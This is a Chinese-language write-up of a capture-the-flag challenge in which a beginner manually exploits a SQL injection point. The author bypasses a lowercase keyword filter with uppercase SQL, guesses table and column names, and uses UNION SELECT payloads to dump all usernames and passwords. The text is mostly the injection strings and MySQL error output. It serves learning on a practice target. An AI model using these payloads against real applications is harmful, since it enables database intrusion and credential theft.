比賽地址:https://csc.xdsec.org。感興趣的朋友可以看下。。。
邊學邊試弄了一個晚上,終於過了這關。以前沒有學過PHP+MYSQL的注入,ASP也只會用啊D一類工具,今天算是手工注入了一次。
界面只有一個文本輸入框。推測應該是字符型的注入點。
先提交一個單引號試試,沒有任何回顯,也沒有報錯,推測把單引號當做一個字符執行了。。。
提交1',奇蹟出現了。。。
推測SQL應該是這樣寫的
select firstname,surname from XXX where id='xxx'
但是爲毛會出現這個。。。我也搞不懂。。。求大神指教。。。
不管他,繼續提交
admin' and exists (select * from admin) and '1'='1
完整的SQL語句應該是
select firstname,surname from XXX where id='admin' and exists (select * from admin) and '1'='1'
看起來一點問題沒有。。。但是,出錯了。。。
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '* admin) and '1'='1'' at line 1開始想了半天沒想明白爲什麼出錯了。。。後來仔細看了下錯誤信息
near '* admin) and '1'='1''突然發現*和admin中間的from不見了。。。。被過濾了!!
於是改成大寫試試。
admin' AND EXISTS (SELECT * FROM admin) and '1'='1
再次提交。這次沒有被過濾,返回信息
Table 'goal.admin' doesn't exist百度之,發現是不存在表admin。
然後又試了幾個常見表名,試到users的時候不返回錯誤了。
然後猜字段。提交
admin' AND EXISTS (SELECT admin FROM users) and '1'='1
返回
Unknown column 'admin' in 'field list'再次百度之,字段admin不存在。
繼續試字段。最後字段user,password存在。
然後提交
admin' AND 1=2 UNION SELECT password FROM users WHERE user='admin' and '1'='1
這兒我想直接拿到password的值,結果返回
The used SELECT statements have a different number of columns百度之,發現要猜字段數量。關於這個,這兒有詳細的說明:http://www.myhack58.com/Article/html/3/7/2011/29898.htm
於是提交
admin' AND 1=2 UNION SELECT 1,2 FROM users WHERE user='admin' and '1'='1
顯示了這個
這時候把1替換爲password,提交
admin' AND 1=2 UNION SELECT password,2 FROM users WHERE user='admin' and '1'='1
返回的結果
這樣就拿到了password字段的值了。。。
其實剛纔猜出列名之後就應該先猜字段數量的。我覺得正確的步驟應該是
提交
admin' AND 1=2 UNION SELECT 1 FROM users WHERE '1'='1
返回
The used SELECT statements have a different number of columns說明字段數量不對,於是繼續猜,提交
admin' AND 1=2 UNION SELECT 1,2 FROM users WHERE '1'='1
這時候出現了
說明字段數量對了
然後將1,2替換爲user,password,提交
admin' AND 1=2 UNION SELECT user,password FROM users WHERE '1'='1
出現了這個
所有的user,password值都顯示出來了。。。